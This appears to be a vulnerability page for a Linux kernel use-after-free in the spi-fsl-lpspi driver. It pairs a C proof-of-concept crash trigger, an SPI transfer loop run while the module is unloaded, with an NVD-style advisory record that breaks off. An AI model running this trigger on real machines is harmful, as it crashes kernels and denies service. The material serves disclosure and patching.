CVE-2026-31485

/* * PoC for CVE-2026-31485: Trigger UAF in spi-fsl-lpspi driver. * This code keeps the SPI bus busy with transfers. * Requires root access to unload the module or trigger device removal in parallel. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/spi/spidev.h> #define DEVICE "/dev/spidev0.0" int main() { int fd = open(DEVICE, O_RDWR); if (fd < 0) { perror("Failed to open SPI device"); return -1; } unsigned char tx[256] = {0xFF}; unsigned char rx[256] = {0}; struct spi_ioc_transfer tr = { .tx_buf = (unsigned long)tx, .rx_buf = (unsigned long)rx, .len = sizeof(tx), .speed_hz = 1000000, .bits_per_word = 8, .delay_usecs = 0, }; printf("[+] Starting spamming SPI transfers on %s...\n", DEVICE); printf("[!] In another terminal, remove the module to trigger the crash:\n"); printf(" rmmod spi_fsl_lpspi\n"); while (1) { int ret = ioctl(fd, SPI_IOC_MESSAGE(1), &tr); if (ret < 1) { perror("SPI Transfer failed (Kernel might have panicked)"); break; } } close(fd); return 0; }

{"cve": {"id": "CVE-2026-31485", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T14:16:45.923", "lastModified": "2026-04-28T13:12:24.033", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nspi: spi-fsl-lpspi: fix teardown order issue (UAF)\n\nThere is a teardown order issue in the driver. The SPI controller is\nregistered using devm_spi_register_controller(), which delays\nunregistration of the SPI controller until after the fsl_lpspi_remove()\nfunction returns.\n\nAs the fsl_lpspi_remove() function synchronously tears down the DMA\nchannels, a running SPI transfer triggers the following NULL pointer\ndereference due to use after free:\n\n| fsl_lpspi 42550000.spi: I/O Error in DMA RX\n| Unable to handle kernel NULL pointer dereference at virtual address 0000000000000000\n[...]\n| Call trace:\n| fsl_lpspi_dma_transfer+0x260/0x340 [spi_fsl_lpspi]\n| fsl_lpspi_transfer_one+0x198/0x448 [spi_fsl_lpspi]\n| spi_transfer_one_message+0x49c/0x7c8\n| __spi_pump_transfer_message+0x120/0x420\n| __spi_sync+0x2c4/0x520\n| spi_sync+0x34/0x60\n| spidev_message+0x20c/0x378 [spidev]\n| spidev_ioctl+0x398/0x750 [spidev]\n[...]\n\nSwitch from devm_spi_register_controller() to spi_register_controller() in\nfsl_lpspi_probe() and add the corresponding spi_unregister_controller() in\nfsl_lpspi_remove()."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.10.1", "versionEndExcluding": "5.10.253", "matchCriteriaId": "C0D3F33A-9B37-46EB-A8C3-97B2F00C65EB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.168", "matchCriteriaId": "E2DDDCA1-6DAB-4018-B920-8F045DDD8D3B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.131", "matchCriteriaId": "CE6ED4D4-0046-4573-BFA9-D64143B6A89F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.80", "matchCriteriaId": "97EB19EC-A11E-49C6-9D2F-6F6EC6CB98B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.21", "matchCriteriaId": "ED39847A-3B46-4729-B7CA-B2C30B9FA8FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.11", "matchCriteriaId": "4CA2E747-A9EC-4518-9AA2-B4247FC748B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:4.10:-:*:*:*:*:*:*", "matchCriteriaId": "C201E405-86F2-4F96-984A-00A865219C86"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/15650dfbaeeb14bcaaf053b93cf631db8d465300", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/adb25339b66112393fd6892ceff926765fe ... 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